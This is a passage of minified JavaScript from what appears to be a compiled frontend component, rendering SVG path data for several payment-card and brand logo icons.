0.03-7.24h-12.63c-0.03-3.72-0.03-7.12-0.03-10.65zM598.27 677.36c-3.42 0-6.44 1.27-9.01 4.42-0.7-1.25 0.11-2.41-0.78-3.4-1.1-0.1-2.23-0.15-3.38-0.15-1.23 0-2.51 0.05-3.84 0.14v35.68c1.32 0.09 2.58 0.15 3.85 0.15s2.53-0.06 3.86-0.19v-18.95c0-1.53-0.01-3.05 0.37-4.54 0.94-3.69 3.3-5.62 7.05-5.62h0.26c1.57 0.04 3.14 0.34 4.9 0.55 0.77-2.34 1.53-4.65 2.36-7.16-2-0.59-3.87-0.93-5.64-0.93zM661.97 710.75h-1.69v3.5h0.72v-1.47h0.95l1.27 1.47h0.81l-1.36-1.52c0.72-0.12 1.19-0.44 1.19-0.99 0-0.73-0.79-0.99-1.89-0.99z m-0.97 1.66v-1.28h0.88c0.82 0 1.27 0.16 1.27 0.61 0 0.45-0.45 0.67-1.27 0.67H661z","p-id":"1822"},null,-1),y("path",{d:"M662.15 708.75c-2.07 0-3.75 1.68-3.75 3.75s1.68 3.75 3.75 3.75 3.75-1.68 3.75-3.75-1.68-3.75-3.75-3.75z m0 7c-1.79 0-3.25-1.46-3.25-3.25s1.46-3.25 3.25-3.25 3.25 1.46 3.25 3.25-1.45 3.25-3.25 3.25z","p-id":"1823"},null,-1),y("path",{d:"M623.3 684c6.09 0 11.05 5.38 11.05 12s-4.96 12-11.05 12c-6.09 0-11.05-5.38-11.05-12s4.96-12 11.05-12m0-7c-9.97 0-18.05 8.51-18.05 19s8.08 19 18.05 19 18.05-8.51 18.05-19-8.08-19-18.05-19z","p-id":"1824"},null,-1)])])),(A(),g("svg",ps,[...t[4]||(t[4]=[y("path",{d:"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z",fill:"#F7F9FB","p-id":"1971"},null,-1),y("path",{d:"M440 366v219c0 44-3.5 73-73 73h-48.67V554.54c21.9 6.12 49.64 6.12 49.64 6.12 46.36 0 59.86-17.99 59.86-40.23v-57.1h-41.62v57.1c0 13.9-9.31 24.29-26.09 24.29-14.24 0-28.29-4.26-41.79-10.94V439c0-61 23.17-73 73-73H440z",fill:"#086CB4","p-id":"1972"},null,-1),y("path",{d:"M573.83 366v219c0 54-13.33 73-73 73h-48.67l-0.02-115.24c11.92 11.74 33.87 19.34 71.18 17.68 0 0 18.62-0.73 38.34-5.6v-20.45c-9.58 4.88-21.75 9.58-36.87 10.66-26.54 1.99-42.4-10.66-42.4-33.07 0-22.4 15.86-35.06 42.4-33.07 15.11 1.09 27.1 5.6 36.87 10.48v-20.24c-19.73-4.88-38.34-5.6-38.34-5.6-37.31-1.66-59.26 5.94-71.18 17.68l0.02-42.24c0-61 20.33-73 73-73h48.67z",fill:"#E90037","p-id":"1973"},null,-1),y("path",{d:"M641.93 502.85c5.72-0.87 9.92-6.03 9.77-12.02 0.15-6.03-4.02-11.24-9.77-12.21-0.55 0-1.84-0.2-2.76-0.2h-25.63v24.62h26.37l0.78-0.02c0.5-0.03 0.96-0.08 1.24-0.17zM613.52 544.83h28.21l1.67-0.11 1.65-0.27c5.11-1.05 9.27-5.36 9.88-11.42l0.08-1.55-0.08-1.52c-0.61-5.95-4.77-10.42-9.88-11.48-1.09-0.23-2.2-0.35-3.32-0.38h-28.21v26.73z",fill:"#69A547","p-id":"1974"},null,-1),y("path",{d:"M660 366c-67.5 0-73 26-73 73v24.33h71.72l1.29 0.03c1.32 0.06 2.67 0.17 3.5 0.17 15.67 0.76 27.28 9.15 27.28 23.66 0 10.64-7.07 19.91-19.98 22.68l-2.34 0.42v0.57l2.24 0.22c14.04 1.73 24.72 9.93 25.71 22.31l0.07 1.89-0.07 1.9c-0.98 13.74-12.83 22.68-28.86 23.43l-2.21 0.05H587V658h48.67c64.83 0 73-27 73-73V366H660z",fill:"#69A547","p-id":"1975"},null,-1)])])),(A(),g("svg",fs,[...t[5]||(t[5]=[y("path",{d:"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z",fill:"#F7F9FB","p-id":"2122"},null,-1),y("path",{d:"M224.36 462.32c-14.45-2.76-29.1-1.23-43.66-1.42-0.45-0.01-0.9 0.48-1.17 0.64v106.05c12.98-0.12 25.7 0.43 38.4-0.49 26.09-1.9 47.82-23.57 49.23-48.94 1.57-28.37-15.36-50.59-42.8-55.84z m15.13 72.85c-6.93 10.56-20.62 15.99-39.3 13.8v-69.03c14.8-3.51 31.42 2.27 39.21 13.52 8.41 12.13 8.34 29.15 0.09 41.71zM831.9 544.95c-5.38-7.24-10.75-14.5-16.38-22.1 2.05-0.72 3.62-1.24 5.18-1.82 7.38-2.74 12.98-7.48 16.17-14.75 8.67-19.76-1.42-39.58-22.45-44.09-11.77-2.53-23.72-1.02-35.59-1.36-2.5-0.07-5-0.01-7.73-0.01v106.4h20.72v-41.65c3.26-1.26 3.82 1.24 4.83 2.72 8.84 12.99 17.61 26.02 26.35 38.98h25.5c-5.84-7.86-11.23-15.09-16.6-22.32z m-39.96-34.92v-32.21c8.47-0.3 16.92-1.16 23.1 6.22 3.7 4.42 4.04 13.43 0.66 18.46-5.73 8.54-14.62 7.67-23.76 7.53zM698.35 567.25h58.5v-17.48c-12.74-0.7-25.28 0.43-37.86-0.52v-28.44h36.18v-18.22H719.2v-23.52h37.68v-18h-58.53v106.18zM637.08 532.34l-28.17-71.14h-23.14c15.27 36.74 30.3 72.92 45.27 108.97h11.29c15.31-36.26 30.61-72.46 46.1-109.14H665.7c-9.42 23.49-18.78 46.8-28.62 71.31zM360.36 506.81c-3.17-1.57-6.45-2.93-9.74-4.22-4.09-1.6-8.24-3.03-12.11-5.15-3.88-2.13-6.5-4.98-6.08-9.79 0.4-4.67 3.2-7.52 7.24-9.13 7.74-3.1 14.97-2.12 21.5 3.27 1.14 0.94 1.87 2.5 3.92 2.76 3.43-4.31 6.91-8.69 10.36-13.03-11.69-11.87-33-15.73-47.35-8.7-11.18 5.48-17.09 14.59-17.43 27.06-0.33 12.3 6.09 20.22 16.89 25.07 3.62 1.62 7.31 3.06 10.98 4.56 3.67 1.5 7.44 2.79 11.01 4.49 5.78 2.75 8.48 7.38 8.01 13.25-0.5 6.28-3.73 10.57-9.66 12.73-8.14 2.97-18.61 0.07-24.78-6.91-1.59-1.79-2.95-3.78-4.2-5.4-4.22 4.16-8.42 8.3-12.88 12.69 9.71 16.02 28.79 23.49 47.51 18.56 14.85-3.92 23.98-14.72 25.61-30.32 1.6-15.11-3.88-24.42-18.8-31.79zM419.16 542.4c-13.08-11.81-15.9-33.09-6.29-48.26 4.55-7.19 10.78-12.38 19-14.88 13.7-4.17 25.51-0.36 36.03 9.86v-23.77c-20.52-12.57-50.66-7.29-67.71 11.7-18.19 20.27-19.51 49.88-3.16 71.14 16.22 21.09 46.68 27.95 70.71 15.79 0.93-8.15 0.62-20.71-0.55-23.55-17.14 13.3-34.67 14.02-48.03 1.97zM277.15 567.28h20.14V461.01h-20.14v106.27z","p-id":"2123"},null,-1),y("path",{d:"M532 514.47m-56.5 0a56.5 56.5 0 1 0 113 0 56.5 56.5 0 1 0-113 0Z",fill:"#F07824","p-id":"2124"},null,-1),y("path",{d:"M847.57 463.57h-3.83v7.91h1.61v-3.31h2.15l2.88 3.31h1.83l-3.07-3.44c1.62-0.27 2.69-1 2.69-2.23 0-1.66-1.79-2.24-4.26-2.24z m-2.21 3.74v-2.89h1.99c1.86 0 2.88 0.36 2.88 1.39 0 1.01-1.02 1.5-2.88 1.5h-1.99z","p-id":"2125"},null,-1),y("path",{d:"M847.97 459.05c-4.67 0-8.47 3.8-8.47 8.48 0 4.67 3.8 8.47 8.47 8.47 4.67 0 8.48-3.8 8.48-8.47 0-4.68-3.8-8.48-8.48-8.48z m0 15.82c-4.05 0-7.34-3.3-7.34-7.34 0-4.05 3.3-7.34 7.34-7.34 4.05 0 7.34 3.29 7.34 7.34 0.01 4.04-3.29 7.34-7.34 7.34z","p-id":"2126"},null,-1),y("path",{d:"M960 558.38c-88.55 75.3-420.84 190.2-618.91 230.62H888c39.76 0 72-32.24 72-72V558.38z",fill:"#F07824","p-id":"2127"},null,-1)])])),(A(),g("svg",ms,[...t[6]||(t[6]=[y("path",{d:"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z",fill:"#F7F9FB","p-id":"1398"},null,-1),y("path",{d:"M632.7 432.37c-0.37-4.14-0.96-8.23-1.86-12.29-3.57-16.13-10.88-30.37-22.01-42.57-14.43-15.83-32.26-25.85-53.08-30.64-5.88-1.35-11.85-2.17-17.88-2.39-0.63-0.02-1.3 0.03-1.85-0.39h-51.63c-0.65 0.48-1.42 0.38-2.15 0.4-3.41 0.09-6.8 0.48-10.17 0.99-6.56 0.99-12.96 2.61-19.2 4.88-15.02 5.49-27.93 14.11-38.47 26.14-14.62 16.69-21.93 36.36-23.3 58.35-0.29 4.63-0.24 9.28 0.17 13.93 0.37 4.19 0.94 8.34 1.87 12.43 4.7 20.64 15.2 37.81 31.17 51.64 8.95 7.75 19.04 13.58 30.17 17.62a95.327 95.327 0 0 0 25.23 5.43c3.49 0.27 7 0.38 10.52 0.35 7.76-0.07 15.53 0.03 23.29-0.03 8.5-0.07 17 0.25 25.5-0.23 3.8-0.21 7.57-0.63 11.31-1.31 10.52-1.9 20.53-5.33 29.94-10.42 20.35-11 35.74-26.72 45.31-47.91 4.17-9.22 6.59-18.93 7.3-29.01 0.34-4.98 0.27-9.98-0.18-14.97z m-144.79 95.96c-49.88-0.16-88.23-40.76-88.27-88.18-0.04-47.26 37.98-88.3 88.23-88.31 48.9-0.01 88.16 39.31 88.18 88.19 0.01 49.2-39.64 88.12-88.14 88.3z",fill:"#04568E","p-id":"1399"},null,-1),y("path",{d:"M508.18 388.56c-0.34 0.66-0.2 1.27-0.2 1.85-0.01 33.12-0.01 66.24-0.01 99.36 0 0.3-0.01 0.59 0 0.89 0.01 0.33-0.07 0.71 0.32 0.92 17.35-6.29 35.63-25.69 35.04-52.84-0.55-24.92-17.52-43.82-35.15-50.18zM467.56 388.76c0-0.04-0.05-0.08-0.09-0.11-0.04-0.03-0.09-0.05-0.13-0.07-18.56 7-35.55 26.51-34.98 52.76 0.56 25.42 17.53 43.71 35.06 50.21 0.27-0.29 0.24-0.54 0.24-0.79-0.06-34 0.11-68-0.1-102z",fill:"#04568E","p-id":"1400"},null,-1),y("path",{d:"M327.06 678.55c-0.69-0.23-1.15-0.75-1.62-1.27-8.73-9.75-17.47-19.49-26.21-29.23-0.27-0.3-0.55-0.58-0.82-0.86-0.53 0.16-0.36 0.58-0.36 0.89 0 7.27 0 14.54 0.02 21.81 0 0.85 0.02 1.7 0.24 2.54 0.46 1.81 1.38 2.61 3.24 2.83 0.83 0.1 1.69-0.04 2.52 0.2 0.19 0.64 0.17 1.22 0.02 1.91h-15c-0.24-0.62-0.18-1.2-0.08-1.78 0.5-0.43 1.08-0.24 1.61-0.29 1.88-0.17 3.05-1.06 3.64-2.86 0.46-1.4 0.51-2.86 0.52-4.31 0.03-7.47-0.01-14.94 0.02-22.41 0.01-3.42-1.77-4.76-3.55-5.28-0.66-0.19-1.38-0.18-2.06-0.26-0.44-0.56-0.16-1.17-0.23-1.72 0.57-0.5 1.2-0.32 1.78-0.3 2.86 0.1 5.72 0.2 8.57 0 1.06-0.07 1.76 0.3 2.45 1.08 7.37 8.34 14.77 16.66 22.16 24.98 0.35 0.4 0.65 0.86 1.17 1.15 0.32-0.48 0.2-0.93 0.2-1.36 0.01-6.07 0.01-12.13 0.01-18.2 0-0.85-0.01-1.7-0.27-2.53-0.53-1.74-1.76-2.76-3.57-2.97-0.69-0.08-1.4 0.07-2.05-0.16-0.28-0.63-0.13-1.22-0.11-1.99 5 0.06 9.93 0.23 14.91-0.06 0.15 0.79 0.16 1.37 0.03 1.96-0.51 0.36-1.08 0.2-1.61 0.24-1.95 0.14-2.91 0.85-3.53 2.7-0.48 1.45-0.54 2.95-0.54 4.46v17c0 2.76 0.02 5.52 0 8.27-0.02 1.96 0.16 3.9 0.33 5.85-0.62-0.03-1.23-0.03-1.83-0.03zM608.46 678.55c-0.98-0.42-2.04-0.41-3.07-0.63-7.78-1.64-13.39-5.91-15.67-13.68-3.54-12.05 3.39-23.84 15-26.4 6.82-1.51 13.31-0.41 19.02 3.76 5.71 4.17 7.87 10.03 7.41 16.97-0.15 2.31-0.6 4.58-1.47 6.73-2.86 7.01-8.09 11.14-15.46 12.66-0.92 0.19-1.89 0.14-2.75 0.6-1.01-0.01-2.01-0.01-3.01-0.01z m14.47-20.36c0.07-1.69-0.15-3.68-0.62-5.63-0.85-3.58-2.37-6.79-5.07-9.38-4.83-4.62-14.55-4.22-18.13 3.27-0.5 1.04-0.92 2.11-1.21 3.23-0.93 3.54-1.04 7.13-0.52 10.74 0.51 3.56 1.53 6.95 3.67 9.91 3.08 4.27 7.27 5.79 12.39 4.8 4.33-0.84 6.88-3.67 8.23-7.71 0.95-2.89 1.24-5.88 1.26-9.23zM670.15 678.55c-0.73-0.29-1.18-0.9-1.68-1.45-8.64-9.63-17.27-19.26-25.91-28.89-0.33-0.37-0.61-0.8-1.06-1.06-0.45 0.19-0.28 0.6-0.28 0.91-0.01 7.12-0.01 14.24 0 21.36 0 0.95 0.03 1.9 0.24 2.84 0.45 1.96 1.39 2.83 3.4 2.99 0.74 0.06 1.49 0.01 2.21 0.01 0.46 0.74 0.28 1.36 0.25 2.1h-14.95c-0.33-0.6-0.22-1.22-0.1-1.84 0.53-0.35 1.1-0.19 1.64-0.24 1.66-0.15 2.82-0.98 3.4-2.54 0.46-1.23 0.62-2.53 0.62-3.84 0-7.87 0.02-15.75 0-23.62-0.01-3-1.78-4.81-4.81-5.04-0.24-0.02-0.48-0.04-0.78-0.07-0.25-0.62-0.18-1.21-0.1-1.81 0.54-0.4 1.16-0.24 1.74-0.22 2.86 0.11 5.72 0.18 8.57 0 1-0.06 1.66 0.29 2.32 1.03 7.27 8.23 14.56 16.44 21.86 24.65l1.38 1.53c0.46-0.33 0.31-0.71 0.31-1.03 0.01-6.32 0.01-12.64 0-18.95 0-0.5-0.02-1.01-0.1-1.5-0.36-2.18-1.77-3.43-3.99-3.6-0.59-0.05-1.2 0.08-1.86-0.19-0.18-0.54-0.13-1.12-0.05-1.69 0.62-0.18 14.13-0.24 14.96-0.08 0.22 0.25 0.16 0.56 0.17 0.86 0 0.3 0.04 0.6-0.25 0.99-0.46 0.17-1.07 0.1-1.65 0.12-1.72 0.06-2.81 0.95-3.34 2.54-0.47 1.39-0.61 2.85-0.61 4.3-0.02 8.83-0.02 17.65 0 26.48 0.01 1.65 0.17 3.3 0.26 4.95h-1.81zM488.07 678.55c-0.75-0.26-1.19-0.88-1.69-1.44-8.57-9.56-17.14-19.12-25.72-28.67-0.4-0.45-0.81-0.89-1.2-1.32-0.53 0.19-0.36 0.61-0.36 0.92-0.01 7.12-0.01 14.24 0 21.36 0 1 0.03 2 0.28 2.99 0.46 1.82 1.35 2.65 3.2 2.85 0.79 0.09 1.59 0.09 2.44 0.13 0.33 0.64 0.22 1.26 0.12 1.99h-14.92c-0.31-0.62-0.28-1.23-0.06-1.84 0.54-0.32 1.11-0.19 1.65-0.23 1.74-0.15 2.89-1.07 3.44-2.7 0.47-1.39 0.59-2.84 0.59-4.3v-22.42c0-3.66-1.54-5.34-5.16-5.63-0.14-0.01-0.28-0.07-0.45-0.11-0.33-0.57-0.22-1.16-0.13-1.72 0.33-0.4 0.76-0.28 1.14-0.27 3.16 0.09 6.32 0.21 9.47 0 0.94-0.06 1.46 0.4 2.02 1.03 7.42 8.37 14.85 16.73 22.27 25.09 0.33 0.37 0.67 0.73 1 1.09 0.49-0.24 0.32-0.64 0.32-0.95 0.01-6.27 0.01-12.54 0.01-18.81 0-0.4-0.02-0.8-0.05-1.2-0.24-2.58-1.71-4-4.28-4.12-0.5-0.02-0.99-0.04-1.47-0.07-0.27-0.89-0.27-0.89-0.1-2.09 4.9 0.14 9.83 0.21 14.8 0 0.2 0.74 0.21 1.31 0.05 1.92-0.54 0.38-1.17 0.22-1.75 0.25-1.72 0.07-2.81 0.95-3.34 2.54-0.42 1.24-0.59 2.54-0.59 3.85-0.01 9.23-0.02 18.46 0.01 27.68 0 1.4 0.17 2.8 0.27 4.2h-1.81zM269.58 638.22c0.64-0.24 1.29-0.09 1.94-0.07 4.71 0.15 9.42 0.12 14.14 0 0.49-0.01 1-0.13 1.55 0.15 0.24 0.53 0.07 1.12 0.11 1.69-0.64 0.45-1.32 0.25-1.94 0.29-2.1 0.16-2.92 0.93-2.92 2.99-0.02 9.68-0.02 19.35 0 29.03 0 2.07 0.81 2.85 2.92 2.98 0.59 0.04 1.18 0.07 1.81 0.11 0.22 0.65 0.16 1.23 0.09 1.77-0.35 0.39-0.78 0.32-1.16 0.3-5.16-0.2-10.32-0.2-15.49 0-0.34 0.01-0.69-0.08-1.04-0.12v-2.11c0.5 0.02 0.99 0.08 1.49 0.07 3.01-0.08 3.65-0.74 3.65-3.79v-27.45c0-0.4 0.01-0.8-0.02-1.2-0.12-1.56-0.88-2.38-2.43-2.53-0.89-0.09-1.79-0.16-2.69 0-0.01-0.71-0.01-1.41-0.01-2.11zM754.42 644.54c-0.48 0.34-0.45 0.95-0.75 1.41-1.38 2.02-4.03 2.99-6.49 2.31-2.53-0.7-4.15-2.77-4.21-5.37-0.06-2.73 1.32-4.9 3.68-5.78 2.33-0.87 4.97-0.2 6.58 1.6 0.59 0.66 0.77 1.5 1.2 2.22-0.01 1.2-0.01 2.4-0.01 3.61z m-5.66 2.81c2.55 0 4.65-2.11 4.67-4.7 0.03-2.59-2.05-4.76-4.58-4.79-2.64-0.03-4.74 2.09-4.73 4.77 0.01 2.62 2.08 4.72 4.64 4.72zM270.26 615.77c-0.12-0.77-0.11-1.54 0.01-2.43 1.01-0.13 1.99-0.27 2.97-0.39 4.32-0.53 6-2.28 6.29-6.6 0.04-0.65 0.06-1.3 0.06-1.95v-48.13c0-1.35-0.02-2.7-0.31-4.04-0.68-3.22-2.18-4.65-5.46-5.06-1.14-0.14-2.29-0.15-3.52-0.23-0.22-0.79-0.13-1.57-0.07-2.39 0.63-0.34 1.28-0.17 1.91-0.14 5.76 0.27 11.53 0.17 17.29 0.06 5.41-0.1 10.83-0.39 16.23 0.18 10.37 1.09 19.54 4.82 26.59 12.76 6.63 7.47 9.69 16.32 8.49 26.23-1.77 14.61-9.67 24.62-23.68 29.55-5.49 1.93-11.2 2.64-16.99 2.72-7.22 0.1-14.44-0.32-21.66-0.15-2.21 0.05-4.41 0.11-6.62 0.14-0.47 0.03-0.98 0.13-1.53-0.13z m19.58-67.61c-0.3 0.62-0.17 1.23-0.17 1.82-0.01 17.7-0.01 35.41-0.01 53.11 0 0.55-0.01 1.1 0.02 1.65 0.21 4.4 2.47 6.91 6.82 7.64 2.9 0.48 5.8 0.35 8.69-0.01 9.87-1.25 17.24-6.13 21.24-15.34 4.3-9.89 4.6-20.08 0.8-30.18-3.47-9.25-10.19-15.19-19.7-17.9-4.83-1.38-9.78-1.56-14.76-1.11-0.98 0.08-2-0.07-2.93 0.32zM698.84 544.77c-0.12-0.62-0.15-1.06-0.02-1.5 0.28-0.34 0.7-0.39 1.07-0.52 3.59-1.28 7.12-2.69 10.43-4.61 0.13-0.08 0.26-0.15 0.4-0.21 1.08-0.5 1.49-0.28 1.58 0.86 0.03 0.45 0.01 0.9 0.01 1.35V576.12c0.66-0.02 0.93-0.41 1.26-0.67 2-1.61 4.1-3.04 6.36-4.27 8.09-4.43 17.33-1.43 22.15 5.07 3.1 4.17 4.57 8.88 4.56 14.05-0.01 8.76-3.18 16.15-9.88 21.87-5.13 4.38-11.19 5.82-17.83 5.14-3.43-0.35-6.67-1.35-9.74-2.89-0.87-0.44-1.54-0.45-2.3 0.24-0.62 0.57-1.28 1.12-2.07 1.51-0.69-0.3-1.36-0.61-2.04-1.12 0.18-1.46 0.36-2.95 0.54-4.43 0.69-5.58 0.87-11.19 0.85-16.81-0.03-13.44-0.01-26.88-0.01-40.33 0-1.4-0.02-2.8-0.23-4.2-0.3-2.06-1.36-3.4-3.36-3.99-0.56-0.14-1.13-0.33-1.73-0.52z m39.67 50.32c-0.03-5.47-1.77-10.37-5.32-14.6-1.83-2.18-4.02-3.9-6.68-4.97-3.32-1.33-6.55-1.18-9.67 0.63-1.3 0.76-2.48 1.7-3.68 2.6-0.68 0.52-0.87 1.12-0.86 1.93 0.02 7.72-0.03 15.43 0.03 23.15 0.05 7.05 6.31 12.1 13.23 10.78 4.26-0.81 7.39-3.2 9.6-6.84 2.33-3.88 3.25-8.14 3.35-12.68zM620.36 596.62c0.71 0.03 1.42 0.18 2.14 0.6-0.52 3.37-1.05 6.73-1.57 10.09-0.18 1.19-0.38 2.37-0.54 3.57-0.11 0.86-0.5 1.42-1.33 1.8-2.6 1.21-5.32 2.08-8.09 2.78-5.17 1.32-10.39 2.22-15.75 1.97-8.35-0.39-16.12-2.53-22.88-7.65-6.94-5.26-11.06-12.33-12.89-20.75-1.38-6.34-1.64-12.73 0.12-19.06 2.64-9.46 8.5-16.47 16.85-21.44 7.13-4.25 14.9-6.08 23.17-5.65 4.78 0.25 9.42 1.35 13.97 2.77 2.58 0.8 5.13 1.69 7.83 2.58 0.34 4.86 0.67 9.69 1.01 14.56-0.9 0.23-1.64 0.16-2.35 0.09-0.42-0.6-0.4-1.27-0.56-1.9-1.85-7.53-6.49-12.27-14.06-14.05-7.09-1.66-13.96-0.99-20.5 2.25-6.39 3.17-11.01 8.12-13.38 14.82-4.24 11.97-3.54 23.69 2.89 34.78 4.01 6.92 9.83 11.85 17.57 14.26 5.02 1.56 10.09 1.74 15.04-0.21 6.87-2.7 10.91-7.9 12.81-14.91 0.13-0.43 0.11-0.9 0.5-1.3zM391.39 613.45v2.51c-7.26-0.16-14.46-0.36-21.69 0.03-0.29-0.91-0.19-1.69-0.12-2.5 0.66-0.38 1.38-0.14 2.06-0.2 0.3-0.03 0.6 0 0.9-0.01 2.85-0.05 3.7-0.85 3.72-3.68 0.03-6.82 0.01-13.64 0.01-20.46 0-2.31-0.05-4.61-0.01-6.92 0.04-2.38-1.05-4.01-3.15-5.02-0.85-0.41-1.72-0.81-2.61-1.22-0.17-0.65-0.16-1.28 0.01-1.99 4.55-1.49 9.1-3.01 13.69-5.02 0.6 2.59 0.08 5.04 0.37 7.43 0.58 0.14 0.87-0.29 1.21-0.53 1.89-1.32 3.79-2.63 5.8-3.76 2.92-1.64 6.02-2.72 9.38-2.99 1.93-0.15 3.81 0.03 5.64 0.63 2.78 0.91 4.7 2.8 5.9 5.44 1.05 2.32 1.48 4.79 1.5 7.31 0.04 6.02 0.03 12.04 0.04 18.06 0 3.06-0.01 6.12 0.01 9.18 0.02 2.49 0.94 3.43 3.46 3.53 1.09 0.04 2.19 0.01 3.35 0.01 0.22 0.89 0.15 1.68 0.07 2.68-7.21-0.13-14.41-0.37-21.61 0.05-0.39-0.89-0.21-1.68-0.2-2.5 0.81-0.41 1.67-0.2 2.5-0.21 3.48-0.05 4.23-0.78 4.24-4.27 0.01-8.28 0.01-16.55-0.01-24.83 0-1.1-0.06-2.22-0.26-3.29-0.67-3.53-3.46-5.83-7.37-6.18-1.87-0.17-3.7-0.01-5.48 0.63-2.61 0.94-5.04 2.22-7.4 3.65-0.64 0.39-0.84 0.87-0.84 1.6 0.02 9.68 0.01 19.36 0.02 29.04 0 0.3 0.01 0.6 0.04 0.9 0.16 1.5 0.82 2.25 2.29 2.59 0.99 0.23 2 0.11 3 0.15 0.45 0.01 0.95-0.11 1.54 0.16zM698.84 612.27c0.16 0.75 0.15 1.33-0.01 2.01-5.02 0.69-9.91 1.9-14.93 3.23-0.41-1.49-0.16-2.89-0.21-4.25-0.04-1.33-0.01-2.66-0.01-4.11-0.77 0.16-1.12 0.61-1.53 0.94-2.04 1.62-4.1 3.22-6.37 4.53-3.33 1.93-6.88 2.94-10.75 2.83-5.32-0.15-9.46-3.61-10.49-8.84-0.25-1.28-0.33-2.58-0.33-3.89 0.01-8.22 0-16.45 0-24.67 0-0.7 0.01-1.41-0.03-2.11-0.12-2.02-1.13-3.4-3.05-4.04-0.94-0.31-1.93-0.49-2.87-0.72-0.21-0.59-0.21-1.12 0.01-1.76 0.9-0.08 1.84-0.19 2.78-0.25 3.2-0.19 6.41-0.36 9.61-0.54 1.37-0.08 1.64 0.17 1.71 1.61 0.04 0.85 0.04 1.7 0.04 2.56 0 8.17 0 16.35 0.01 24.52 0 1.96 0.07 3.91 0.5 5.83 1.4 6.38 6.78 7.54 10.82 6.43 2.95-0.81 5.48-2.44 7.91-4.23 2.12-1.56 2.11-1.57 2.11-4.15 0-7.97-0.05-15.95 0.04-23.92 0.02-1.76-0.71-2.7-2.17-3.35-1.47-0.65-3.01-1.08-4.55-1.53-0.57-0.17-1.14-0.33-1.65-0.48-0.39-0.6-0.22-1.14-0.19-1.73 1.03-0.37 2.1-0.29 3.12-0.39 3.99-0.41 7.98-0.75 11.97-1.11 1.38-0.12 1.55 0.03 1.64 1.42 0.04 0.6 0.02 1.2 0.02 1.8v35.2c0 2.86 0.3 3.13 3.21 3.15 1.18 0.03 2.37-0.19 3.64 0.01zM428.74 587.83c-0.36 6.8 0.39 13.26 5.05 18.65 2.35 2.72 5.28 4.43 8.91 4.79 2.77 0.28 5.37-0.34 7.87-1.5 2.06-0.96 3.87-2.3 5.56-3.82 0.48-0.43 0.96-0.88 1.48-1.36 0.63 0.27 1 0.78 1.46 1.37-4.24 5.46-8.92 10.29-16.19 11.29-7.74 1.07-14.86-1.71-18.93-9.04-3.03-5.46-3.78-11.35-3.14-17.46 0.42-3.97 1.44-7.79 3.52-11.24 3.6-6 8.83-9.7 15.85-10.36 6.37-0.6 14.36 2.5 17.29 9.96 0.89 2.28 1.22 4.64 1.11 7.07-0.04 0.93-0.45 1.34-1.38 1.44-0.4 0.04-0.8 0.01-1.2 0.01-8.47 0-16.94 0-25.42 0.01-0.55 0.01-1.1-0.09-1.84 0.19z m0.4-3.64c0.44 0.26 0.85 0.19 1.25 0.19h16.23c0.35 0 0.7 0 1.05-0.05 1.4-0.21 2.02-0.87 2.15-2.27 0.08-0.91-0.09-1.81-0.28-2.68-0.75-3.4-2.67-5.86-6.14-6.68-3.93-0.94-7.46 0.01-10.32 2.95-2.33 2.37-3.41 5.34-3.94 8.54zM410.44 640.2c-0.29-0.69-0.24-1.27-0.12-1.79 0.23-0.3 0.49-0.3 0.74-0.29 6.12 0.25 12.23 0.03 18.35 0.01 1.81-0.01 3.6 0.24 5.34 0.74 6.94 1.99 9.28 10.42 4.39 15.78-1.06 1.16-2.34 2.03-3.72 2.77-0.39 0.21-0.86 0.29-1.23 0.75 0.12 0.49 0.5 0.9 0.79 1.34 2.58 3.88 5.21 7.74 7.75 11.65 1.44 2.22 3 4.19 5.91 4.13 0.31 0.73 0.24 1.31 0.15 1.87-0.45 0.43-0.98 0.31-1.46 0.27-2.76-0.19-5.51-0.19-8.27-0.02-0.94 0.06-1.55-0.23-2.13-1.02-3.56-4.86-6.75-9.96-9.74-15.18-1.07-1.87-1.07-1.87-3.26-1.81-0.3 0.01-0.6-0.03-0.91 0.17-0.31 0.29-0.19 0.72-0.19 1.1-0.01 3.31-0.02 6.62 0 9.93 0 0.7 0.08 1.4 0.19 2.09 0.28 1.74 1.06 2.45 2.79 2.55 0.79 0.04 1.59 0.01 2.38 0.01 0.36 0.71 0.23 1.3 0.2 1.88-0.52 0.51-1.16 0.32-1.73 0.31-3.26-0.03-6.52-0.11-9.78-0.13-1.6-0.01-3.21 0.1-4.81 0.13-0.54 0.01-1.1 0.09-1.65-0.14-0.27-0.58-0.2-1.16-0.07-1.77 0.54-0.39 1.17-0.21 1.75-0.26 2.2-0.19 3.15-1.17 3.15-3.37 0.01-9.13 0-18.26 0-27.38 0-0.7-0.04-1.4-0.23-2.08-0.39-1.42-1.08-2.03-2.52-2.15-0.66-0.04-1.31-0.05-2.06-0.09z m12.43 16.68c2.06 0.03 3.96 0.15 5.83-0.31 2.41-0.59 3.94-2.07 4.57-4.48 0.38-1.47 0.48-2.96 0.37-4.47-0.38-5.31-5.69-8.61-10.78-6.64 0.01 5.23 0.01 10.47 0.01 15.9zM626.27 615.83c-0.13-0.86-0.11-1.64 0-2.55 0.93 0 1.77 0.01 2.61 0 0.6-0.01 1.21-0.01 1.8-0.12 1.43-0.27 2.08-0.98 2.24-2.43 0.08-0.7 0.09-1.4 0.09-2.1 0-18.25 0.01-36.49 0-54.74 0-1.3-0.04-2.61-0.14-3.91-0.23-2.81-1.13-3.92-3.78-4.77-0.47-0.15-0.93-0.31-1.43-0.48-0.04-0.29-0.09-0.54-0.1-0.78 0-0.24 0.05-0.49 0.07-0.71 0.72-0.49 1.52-0.63 2.27-0.91 3.15-1.16 6.24-2.45 9.17-4.12 0.3-0.17 0.61-0.35 0.94-0.47 0.6-0.22 1.02 0.05 1.12 0.63 0.1 0.59 0.09 1.2 0.09 1.8v68.27c0 0.6-0.01 1.2 0.02 1.8 0.11 1.85 0.9 2.72 2.75 2.96 0.59 0.08 1.2 0.04 1.8 0.07 0.69 0.04 1.4-0.09 2.14 0.12 0.28 0.76 0.15 1.54 0.1 2.31-0.68 0.17-19.99 0.28-21.76 0.13zM498.66 602.24c0.61-0.17 1.05-0.45 1.56-0.4 0.43 0.26 0.39 0.69 0.49 1.07 0.59 2.25 1.42 4.39 2.81 6.27 3.09 4.17 7.27 5.74 12.29 